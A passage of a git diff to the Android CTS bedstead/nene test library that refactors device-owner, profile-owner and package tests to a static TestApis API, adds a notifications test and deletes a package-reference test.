     @EnsureHasNoProfileOwner
     public void setDeviceOwner_componentNameNotInstalled_throwsException() {
-        sTestApp.uninstall(sUser);
         try {
             assertThrows(NeneException.class,
-                    () -> sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME));
+                    () -> TestApis.devicePolicy().setDeviceOwner(
+                            NON_EXISTING_DPC_COMPONENT_NAME));
         } finally {
             sTestApp.install(sUser);
         }
@@ -258,7 +264,8 @@
     @EnsureHasNoProfileOwner
     public void setDeviceOwner_componentNameIsNotDPC_throwsException() {
         assertThrows(NeneException.class,
-                () -> sTestApis.devicePolicy().setDeviceOwner(sUser, NOT_DPC_COMPONENT_NAME));
+                () -> TestApis.devicePolicy()
+                        .setDeviceOwner(NOT_DPC_COMPONENT_NAME));
     }
 
     @Test
@@ -270,7 +277,8 @@
                 Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S));
 
         assertThrows(NeneException.class,
-                () -> sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME));
+                () -> TestApis.devicePolicy()
+                        .setDeviceOwner(DPC_COMPONENT_NAME));
     }
 
     @Test
@@ -281,11 +289,10 @@
         assumeTrue("After S, device owner can be set with users on the device",
                 Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S));
 
-        DeviceOwner deviceOwner =
-                sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
+        DeviceOwner deviceOwner = TestApis.devicePolicy().setDeviceOwner(DPC_COMPONENT_NAME);
 
         try {
-            assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNotNull();
+            assertThat(TestApis.devicePolicy().getDeviceOwner()).isNotNull();
         } finally {
             deviceOwner.remove();
         }
@@ -299,51 +306,22 @@
     @Test
     @EnsureHasNoDeviceOwner
     @EnsureHasNoProfileOwner
-    public void setDeviceOwner_nullUser_throwsException() {
-        assertThrows(NullPointerException.class,
-                () -> sTestApis.devicePolicy().setDeviceOwner(
-                        /* user= */ null, DPC_COMPONENT_NAME));
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    @EnsureHasNoProfileOwner
     public void setDeviceOwner_nullComponentName_throwsException() {
         assertThrows(NullPointerException.class,
-                () -> sTestApis.devicePolicy().setDeviceOwner(
-                        sUser, /* deviceOwnerComponent= */ null));
+                () -> TestApis.devicePolicy().setDeviceOwner(/* deviceOwnerComponent= */ null));
     }
 
-    @Test
-    @EnsureHasNoDeviceOwner
-    @EnsureHasNoProfileOwner
-    public void setDeviceOwner_userDoesNotExist_throwsException() {
-        assertThrows(NeneException.class,
-                () -> sTestApis.devicePolicy().setDeviceOwner(
-                        NON_EXISTENT_USER, DPC_COMPONENT_NAME));
-    }
 
     @Test
-    @EnsureHasNoDeviceOwner
-    @EnsureHasNoProfileOwner
-    // TODO(scottjonathan): This could be made more generic by requiring no additional users
-    @EnsureHasNoSecondaryUser
-    @EnsureHasNoWorkProfile
+    @EnsureHasDeviceOwner
     public void getDeviceOwner_returnsDeviceOwner() {
-        DeviceOwner deviceOwner =
-                sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
-
-        try {
-            assertThat(sTestApis.devicePolicy().getDeviceOwner()).isEqualTo(deviceOwner);
-        } finally {
-            deviceOwner.remove();
-        }
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNotNull();
     }
 
     @Test
     @EnsureHasNoDeviceOwner
     public void getDeviceOwner_noDeviceOwner_returnsNull() {
-        assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNull();
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNull();
     }
 
     @Test
@@ -351,66 +329,68 @@
     @EnsureHasNoProfileOwner
     public void profileOwner_autoclose_removesProfileOwner() {
         try (ProfileOwner profileOwner =
-                     sTestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME)) {
+                     TestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME)) {
             // We intentionally don't do anything here, just rely on the auto-close behaviour
         }
 
-        assertThat(sTestApis.devicePolicy().getProfileOwner(sUser)).isNull();
+        assertThat(TestApis.devicePolicy().getProfileOwner(sUser)).isNull();
     }
 
     @Test
     @EnsureHasNoDeviceOwner
     @EnsureHasNoProfileOwner
     public void deviceOwner_autoclose_removesDeviceOwner() {
-        try (DeviceOwner deviceOwner =
-                     sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME)) {
+        try (DeviceOwner deviceOwner = TestApis.devicePolicy().setDeviceOwner(DPC_COMPONENT_NAME)) {
             // We intentionally don't do anything here, just rely on the auto-close behaviour
         }
 
-        assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNull();
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNull();
     }
 
     @Test
     @EnsureHasNoDeviceOwner
     @EnsureHasNoProfileOwner
     public void setDeviceOwner_recentlyUnsetProfileOwner_sets() {
-        sTestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME).remove();
+        TestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME).remove();
 
-        sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
+        TestApis.devicePolicy().setDeviceOwner(DPC_COMPONENT_NAME);
 
-        assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNotNull();
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNotNull();
     }
 
     @Test
     @EnsureHasNoDeviceOwner
     @EnsureHasNoProfileOwner
     public void setDeviceOwner_recentlyUnsetDeviceOwner_sets() {
-        sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME).remove();
+        TestApis.devicePolicy()
+                .setDeviceOwner(DPC_COMPONENT_NAME)
+                .remove();
 
-        sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
+        TestApis.devicePolicy().setDeviceOwner(DPC_COMPONENT_NAME);
 
-        assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNotNull();
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNotNull();
     }
 
     @Test
     @EnsureHasNoDeviceOwner
     @EnsureHasNoProfileOwner
     public void setProfileOwner_recentlyUnsetProfileOwner_sets() {
-        sTestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME).remove();
+        TestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME).remove();
 
-        sTestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME);
+        TestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME);
 
-        assertThat(sTestApis.devicePolicy().getProfileOwner(sUser)).isNotNull();
+        assertThat(TestApis.devicePolicy().getProfileOwner(sUser)).isNotNull();
     }
 
     @Test
     @EnsureHasNoDeviceOwner
     @EnsureHasNoProfileOwner
     public void setProfileOwner_recentlyUnsetDeviceOwner_sets() {
-        sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME).remove();
+        TestApis.devicePolicy().setDeviceOwner(DPC_COMPONENT_NAME)
+                .remove();
 
-        sTestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME);
+        TestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME);
 
-        assertThat(sTestApis.devicePolicy().getProfileOwner(sUser)).isNotNull();
+        assertThat(TestApis.devicePolicy().getProfileOwner(sUser)).isNotNull();
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
index f388354..0bb85a0 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
@@ -20,78 +20,64 @@
 
 import android.content.ComponentName;
 
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.nene.users.UserType;
+import com.android.bedstead.remotedpc.RemoteDpc;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppProvider;
-import com.android.eventlib.premade.EventLibDeviceAdminReceiver;
 
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
-@RunWith(JUnit4.class)
+@RunWith(BedsteadJUnit4.class)
 public class ProfileOwnerTest {
 
-    //  TODO(180478924): We shouldn't need to hardcode this
-    private static final String DEVICE_ADMIN_TESTAPP_PACKAGE_NAME = "android.DeviceAdminTestApp";
-    private static final ComponentName DPC_COMPONENT_NAME =
-            new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
-                    EventLibDeviceAdminReceiver.class.getName());
-
-    private static final TestApis sTestApis = new TestApis();
-    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final ComponentName DPC_COMPONENT_NAME = RemoteDpc.DPC_COMPONENT_NAME;
     private static UserReference sProfile;
-
     private static TestApp sTestApp;
-    private static ProfileOwner sProfileOwner;
+    private static DevicePolicyController sProfileOwner;
 
-    @BeforeClass
-    public static void setupClass() {
-        sProfile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
 
-        sTestApp = new TestAppProvider().query()
-                .wherePackageName().isEqualTo(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME)
-                .get();
-
-        sTestApp.install(sProfile);
-
-        sProfileOwner = sTestApis.devicePolicy().setProfileOwner(sProfile, DPC_COMPONENT_NAME);
-    }
-
-    @AfterClass
-    public static void teardownClass() {
-        sProfile.remove();
+    @Before
+    public void setUp() {
+        sProfile = TestApis.users().instrumented();
+        sTestApp = sDeviceState.dpc().testApp();
+        sProfileOwner = sDeviceState.profileOwner().devicePolicyController();
     }
 
     @Test
+    @EnsureHasProfileOwner
     public void user_returnsUser() {
         assertThat(sProfileOwner.user()).isEqualTo(sProfile);
     }
 
     @Test
+    @EnsureHasProfileOwner
     public void pkg_returnsPackage() {
-        assertThat(sProfileOwner.pkg()).isEqualTo(sTestApp.reference());
+        assertThat(sProfileOwner.pkg()).isEqualTo(sTestApp.pkg());
     }
 
     @Test
+    @EnsureHasProfileOwner
     public void componentName_returnsComponentName() {
         assertThat(sProfileOwner.componentName()).isEqualTo(DPC_COMPONENT_NAME);
     }
 
     @Test
+    @EnsureHasProfileOwner
     public void remove_removesProfileOwner() {
         sProfileOwner.remove();
         try {
-            assertThat(sTestApis.devicePolicy().getProfileOwner(sProfile)).isNull();
+            assertThat(TestApis.devicePolicy().getProfileOwner(sProfile)).isNull();
         } finally {
-            sProfileOwner = sTestApis.devicePolicy().setProfileOwner(sProfile, DPC_COMPONENT_NAME);
+            sProfileOwner = TestApis.devicePolicy().setProfileOwner(sProfile, DPC_COMPONENT_NAME);
         }
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/notifications/NotificationsTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/notifications/NotificationsTest.java
new file mode 100644
index 0000000..1d662fe
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/notifications/NotificationsTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.notifications;
+
+import static com.android.bedstead.nene.notifications.NotificationListenerQuerySubject.assertThat;
+import static com.android.bedstead.nene.notifications.Notifications.LISTENER_COMPONENT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.R;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+@RunWith(BedsteadJUnit4.class)
+public class NotificationsTest {
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final UserReference USER = TestApis.users().instrumented();
+
+    private static NotificationManager sNotificationManager =
+            TestApis.context().instrumentedContext().getSystemService(NotificationManager.class);
+
+    @Test
+    public void setNotificationListenerAccessGranted_true_notificationListenerAccessIsGranted() {
+        TestApis.notifications().setNotificationListenerAccessGranted(
+                LISTENER_COMPONENT, true, USER);
+
+        assertThat(sNotificationManager.isNotificationListenerAccessGranted(
+                LISTENER_COMPONENT.componentName())).isTrue();
+    }
+
+    @Test
+    public void setNotificationListenerAccessGranted_false_notificationListenerAccessIsNotGranted() {
+        TestApis.notifications().setNotificationListenerAccessGranted(
+                LISTENER_COMPONENT, false, USER);
+
+        assertThat(sNotificationManager.isNotificationListenerAccessGranted(
+                LISTENER_COMPONENT.componentName())).isFalse();
+    }
+
+    @Test
+    public void setNotificationListenerAccessGranted_nullComponent_throwsException() {
+        assertThrows(NullPointerException.class, () -> TestApis.notifications()
+                .setNotificationListenerAccessGranted(
+                        /* component= */ null, /* granted= */ true, /* user= */ USER));
+    }
+
+    @Test
+    public void setNotificationListenerAccessGranted_nullUser_throwsException() {
+        assertThrows(NullPointerException.class, () -> TestApis.notifications()
+                .setNotificationListenerAccessGranted(
+                        LISTENER_COMPONENT, /* granted= */ true, /* user= */ null));
+    }
+
+    @Test
+    @com.android.bedstead.harrier.annotations.NotificationsTest
+    public void query_notificationIsPosted_findsNotification() {
+        try (NotificationListener notifications = TestApis.notifications().createListener()) {
+            createNotification();
+
+            assertThat(notifications.query()
+                    .wherePackageName().isEqualTo(TestApis.packages().instrumented().packageName())
+            ).wasPosted();
+        }
+    }
+
+    @Test
+    public void createListener_noNotificationsTestAnnotation_throwsException() {
+        assertThrows(NeneException.class, () -> TestApis.notifications().createListener());
+    }
+
+    private void createNotification() {
+        String channelId = "notifications";
+        sNotificationManager.createNotificationChannel(new NotificationChannel(channelId,
+                "notifications",
+                NotificationChannel.USER_LOCKED_IMPORTANCE));
+
+        Notification.Builder notificationBuilder =
+                new Notification.Builder(TestApis.context().instrumentedContext(), channelId)
+                .setSmallIcon(R.drawable.sym_def_app_icon);
+
+        sNotificationManager.notify(1, notificationBuilder.build());
+    }
+
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java
deleted file mode 100644
index bceea8f..0000000
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java
+++ /dev/null
@@ -1,344 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.nene.packages;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.Context;
-
-import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.exceptions.NeneException;
-import com.android.bedstead.nene.users.UserReference;
-
-import org.junit.AfterClass;
-import org.junit.Ignore;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-import java.io.File;
-
-@RunWith(JUnit4.class)
-public class PackageReferenceTest {
-
-    private static final TestApis sTestApis = new TestApis();
-    private static final UserReference sUser = sTestApis.users().instrumented();
-    private static final String NON_EXISTING_PACKAGE_NAME = "com.package.does.not.exist";
-    private static final String PACKAGE_NAME = NON_EXISTING_PACKAGE_NAME;
-    private static final String EXISTING_PACKAGE_NAME = "com.android.providers.telephony";
-    private final PackageReference mTestAppReference =
-            sTestApis.packages().find(TEST_APP_PACKAGE_NAME);
-
-    // Controlled by AndroidTest.xml
-    private static final String TEST_APP_PACKAGE_NAME =
-            "com.android.bedstead.nene.testapps.TestApp1";
-    private static final File TEST_APP_APK_FILE =
-            new File("/data/local/tmp/NeneTestApp1.apk");
-    private static final Context sContext =
-            sTestApis.context().instrumentedContext();
-    private static final UserReference sOtherUser = sTestApis.users().createUser().createAndStart();
-
-    private static final PackageReference sInstrumentedPackage =
-            sTestApis.packages().find(sContext.getPackageName());
-
-    // Relies on this being declared by AndroidManifest.xml
-    // TODO(scottjonathan): Replace with TestApp
-    private static final String INSTALL_PERMISSION = "android.permission.CHANGE_WIFI_STATE";
-    private static final String UNDECLARED_RUNTIME_PERMISSION = "android.permission.RECEIVE_SMS";
-    private static final String DECLARED_RUNTIME_PERMISSION =
-            "android.permission.INTERACT_ACROSS_USERS";
-    private static final String NON_EXISTING_PERMISSION = "aPermissionThatDoesntExist";
-    private static final String USER_SPECIFIC_PERMISSION = "android.permission.READ_CONTACTS";
-
-
-    @AfterClass
-    public static void teardownClass() {
-        // TODO(scottjonathan): Use annotations to share state instead of doing so manually
-        sOtherUser.remove();
-    }
-
-    @Test
-    public void packageName_returnsPackageName() {
-        sTestApis.packages().find(PACKAGE_NAME).packageName().equals(PACKAGE_NAME);
-    }
-
-    @Test
-    public void resolve_nonExistingPackage_returnsNull() {
-        assertThat(sTestApis.packages().find(NON_EXISTING_PACKAGE_NAME).resolve()).isNull();
-    }
-
-    @Test
-    public void resolve_existingPackage_returnsPackage() {
-        assertThat(sTestApis.packages().find(EXISTING_PACKAGE_NAME).resolve()).isNotNull();
-    }
-
-    @Test
-    public void install_alreadyInstalled_installsInUser() {
-        sInstrumentedPackage.install(sOtherUser);
-
-        try {
-            assertThat(sInstrumentedPackage.resolve().installedOnUsers()).contains(sOtherUser);
-        } finally {
-            sInstrumentedPackage.uninstall(sOtherUser);
-        }
-    }
-
-    @Test
-    public void uninstallForAllUsers_isUninstalledForAllUsers() {
-        PackageReference pkg = sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
-        try {
-            sTestApis.packages().install(sOtherUser, TEST_APP_APK_FILE);
-
-            mTestAppReference.uninstallFromAllUsers();
-
-            Package resolvedPackage = mTestAppReference.resolve();
-            // Might be null or might still resolve depending on device timing
-            if (resolvedPackage != null) {
-                assertThat(resolvedPackage.installedOnUsers()).isEmpty();
-            }
-        } finally {
-            pkg.uninstall(sUser);
-            pkg.uninstall(sOtherUser);
-        }
-    }
-
-    @Test
-    public void uninstall_packageIsInstalledForDifferentUser_isUninstalledForUser() {
-        PackageReference pkg = sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
-        try {
-            sTestApis.packages().install(sOtherUser, TEST_APP_APK_FILE);
-
-            mTestAppReference.uninstall(sUser);
-
-            assertThat(mTestAppReference.resolve().installedOnUsers()).containsExactly(sOtherUser);
-        } finally {
-            pkg.uninstall(sUser);
-            pkg.uninstall(sOtherUser);
-        }
-    }
-
-    @Test
-    public void uninstall_packageIsUninstalled() {
-        sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
-
-        mTestAppReference.uninstall(sUser);
-
-        // Depending on when Android cleans up the users, this may either no longer resolve or
-        // just have an empty user list
-        Package pkg = mTestAppReference.resolve();
-        if (pkg != null) {
-            assertThat(pkg.installedOnUsers()).isEmpty();
-        }
-    }
-
-    @Test
-    public void uninstall_packageNotInstalledForUser_doesNotThrowException() {
-        sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
-
-        try {
-            mTestAppReference.uninstall(sOtherUser);
-        } finally {
-            mTestAppReference.uninstall(sUser);
-        }
-    }
-
-    @Test
-    public void uninstall_packageDoesNotExist_doesNotThrowException() {
-        PackageReference packageReference = sTestApis.packages().find(NON_EXISTING_PACKAGE_NAME);
-
-        packageReference.uninstall(sUser);
-    }
-
-    @Test
-    public void grantPermission_installPermission_throwsException() {
-        assertThrows(NeneException.class, () ->
-                sTestApis.packages().find(sContext.getPackageName()).grantPermission(sUser,
-                INSTALL_PERMISSION));
-    }
-
-    @Test
-    public void grantPermission_nonDeclaredPermission_throwsException() {
-        assertThrows(NeneException.class, () ->
-                sTestApis.packages().find(sContext.getPackageName()).grantPermission(sUser,
-                UNDECLARED_RUNTIME_PERMISSION));
-    }
-
-    @Test
-    public void grantPermission_permissionIsGranted() {
-        sInstrumentedPackage.install(sOtherUser);
-        sInstrumentedPackage.grantPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
-
-        try {
-            assertThat(sInstrumentedPackage.resolve().grantedPermissions(sOtherUser))
-                    .contains(DECLARED_RUNTIME_PERMISSION);
-        } finally {
-            sInstrumentedPackage.denyPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
-        }
-    }
-
-    @Test
-    public void grantPermission_permissionIsUserSpecific_permissionIsGrantedOnlyForThatUser() {
-        // Permissions are auto-granted on the current user so we need to test against new users
-        try (UserReference newUser = sTestApis.users().createUser().create()) {
-            sInstrumentedPackage.install(sOtherUser);
-            sInstrumentedPackage.install(newUser);
-
-            sInstrumentedPackage.grantPermission(newUser, USER_SPECIFIC_PERMISSION);
-
-            Package resolvedPackage = sInstrumentedPackage.resolve();
-            assertThat(resolvedPackage.grantedPermissions(sOtherUser))
-                    .doesNotContain(USER_SPECIFIC_PERMISSION);
-            assertThat(resolvedPackage.grantedPermissions(newUser))
-                    .contains(USER_SPECIFIC_PERMISSION);
-        } finally {
-            sInstrumentedPackage.uninstall(sOtherUser);
-        }
-    }
-
-    @Test
-    public void grantPermission_packageDoesNotExist_throwsException() {
-        assertThrows(NeneException.class, () ->
-                sTestApis.packages().find(NON_EXISTING_PACKAGE_NAME).grantPermission(sUser,
-                DECLARED_RUNTIME_PERMISSION));
-    }
-
-    @Test
-    public void grantPermission_permissionDoesNotExist_throwsException() {
-        assertThrows(NeneException.class, () ->
-                sTestApis.packages().find(sContext.getPackageName()).grantPermission(sUser,
-                NON_EXISTING_PERMISSION));
-    }
-
-    @Test
-    public void grantPermission_packageIsNotInstalledForUser_throwsException() {
-        sInstrumentedPackage.uninstall(sOtherUser);
-
-        assertThrows(NeneException.class,
-                () -> sInstrumentedPackage.grantPermission(sOtherUser,
-                        DECLARED_RUNTIME_PERMISSION));
-    }
-
-    @Test
-    @Ignore("Cannot be tested because all runtime permissions are granted by default")
-    public void denyPermission_ownPackage_permissionIsNotGranted_doesNotThrowException() {
-        PackageReference packageReference = sTestApis.packages().find(sContext.getPackageName());
-
-        packageReference.denyPermission(sUser, USER_SPECIFIC_PERMISSION);
-    }
-
-    @Test
-    public void denyPermission_ownPackage_permissionIsGranted_throwsException() {
-        PackageReference packageReference = sTestApis.packages().find(sContext.getPackageName());
-        packageReference.grantPermission(sUser, USER_SPECIFIC_PERMISSION);
-
-        assertThrows(NeneException.class, () ->
-                packageReference.denyPermission(sUser, USER_SPECIFIC_PERMISSION));
-    }
-
-    @Test
-    public void denyPermission_permissionIsNotGranted() {
-        sInstrumentedPackage.install(sOtherUser);
-        try {
-            sInstrumentedPackage.grantPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
-
-            sInstrumentedPackage.denyPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
-
-            assertThat(sInstrumentedPackage.resolve().grantedPermissions(sOtherUser))
-                    .doesNotContain(USER_SPECIFIC_PERMISSION);
-        } finally {
-            sInstrumentedPackage.uninstall(sOtherUser);
-        }
-    }
-
-    @Test
-    public void denyPermission_packageDoesNotExist_throwsException() {
-        assertThrows(NeneException.class, () ->
-                sTestApis.packages().find(NON_EXISTING_PACKAGE_NAME).denyPermission(sUser,
-                        DECLARED_RUNTIME_PERMISSION));
-    }
-
-    @Test
-    public void denyPermission_permissionDoesNotExist_throwsException() {
-        assertThrows(NeneException.class, () ->
-                sTestApis.packages().find(sContext.getPackageName()).denyPermission(sUser,
-                        NON_EXISTING_PERMISSION));
-    }
-
-    @Test
-    public void denyPermission_packageIsNotInstalledForUser_throwsException() {
-        sInstrumentedPackage.uninstall(sOtherUser);
-
-        assertThrows(NeneException.class,
-                () -> sInstrumentedPackage.denyPermission(sOtherUser, DECLARED_RUNTIME_PERMISSION));
-    }
-
-    @Test
-    public void denyPermission_installPermission_throwsException() {
-        sInstrumentedPackage.install(sOtherUser);
-
-        try {
-            assertThrows(NeneException.class, () ->
-                    sInstrumentedPackage.denyPermission(sOtherUser, INSTALL_PERMISSION));
-        } finally {
-            sInstrumentedPackage.uninstall(sOtherUser);
-        }
-    }
-
-    @Test
-    public void denyPermission_nonDeclaredPermission_throwsException() {
-        assertThrows(NeneException.class, () ->
-                sTestApis.packages().find(sContext.getPackageName()).denyPermission(sUser,
-                        UNDECLARED_RUNTIME_PERMISSION));
-    }
-
-    @Test
-    public void denyPermission_alreadyDenied_doesNothing() {
-        sInstrumentedPackage.install(sOtherUser);
-        try {
-            sInstrumentedPackage.denyPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
-            sInstrumentedPackage.denyPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
-
-            assertThat(sInstrumentedPackage.resolve().grantedPermissions(sOtherUser))
-                    .doesNotContain(USER_SPECIFIC_PERMISSION);
-        } finally {
-            sInstrumentedPackage.uninstall(sOtherUser);
-        }
-    }
-
-    @Test
-    public void denyPermission_permissionIsUserSpecific_permissionIsDeniedOnlyForThatUser() {
-        // Permissions are auto-granted on the current user so we need to test against new users
-        try (UserReference newUser = sTestApis.users().createUser().create()) {
-            sInstrumentedPackage.install(sOtherUser);
-            sInstrumentedPackage.install(newUser);
-            sInstrumentedPackage.grantPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
-            sInstrumentedPackage.grantPermission(newUser, USER_SPECIFIC_PERMISSION);
-
-            sInstrumentedPackage.denyPermission(newUser, USER_SPECIFIC_PERMISSION);
-
-            Package resolvedPackage = sInstrumentedPackage.resolve();
-            assertThat(resolvedPackage.grantedPermissions(newUser))
-                    .doesNotContain(USER_SPECIFIC_PERMISSION);
-            assertThat(resolvedPackage.grantedPermissions(sOtherUser))
-                    .contains(USER_SPECIFIC_PERMISSION);
-        } finally {
-            sInstrumentedPackage.uninstall(sOtherUser);
-        }
-    }
-}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
index 4794762..bf2e881 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
@@ -16,58 +16,357 @@
 
 package com.android.bedstead.nene.packages;
 
+import static android.Manifest.permission.MANAGE_EXTERNAL_STORAGE;
+import static android.os.Build.VERSION_CODES.R;
+
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.testng.Assert.assertThrows;
+
 import android.content.Context;
+import android.os.Environment;
 
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AfterClass;
+import com.android.bedstead.harrier.annotations.BeforeClass;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunNotOnSecondaryUser;
 import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+import com.android.queryable.queries.StringQuery;
 
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
 import java.io.File;
+import java.util.UUID;
 
-@RunWith(JUnit4.class)
+@RunWith(BedsteadJUnit4.class)
 public class PackageTest {
 
-    // Controlled by AndroidTest.xml
-    private static final String TEST_APP_PACKAGE_NAME =
-            "com.android.bedstead.nene.testapps.TestApp1";
-    private static final File TEST_APP_APK_FILE =
-            new File("/data/local/tmp/NeneTestApp1.apk");
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
 
+    private static final UserReference sUser = TestApis.users().instrumented();
+    private static final String NON_EXISTING_PACKAGE_NAME = "com.package.does.not.exist";
+    private static final String PACKAGE_NAME = NON_EXISTING_PACKAGE_NAME;
+    private static final String EXISTING_PACKAGE_NAME = "com.android.providers.telephony";
     private static final String ACCESS_NETWORK_STATE_PERMISSION =
             "android.permission.ACCESS_NETWORK_STATE";
 
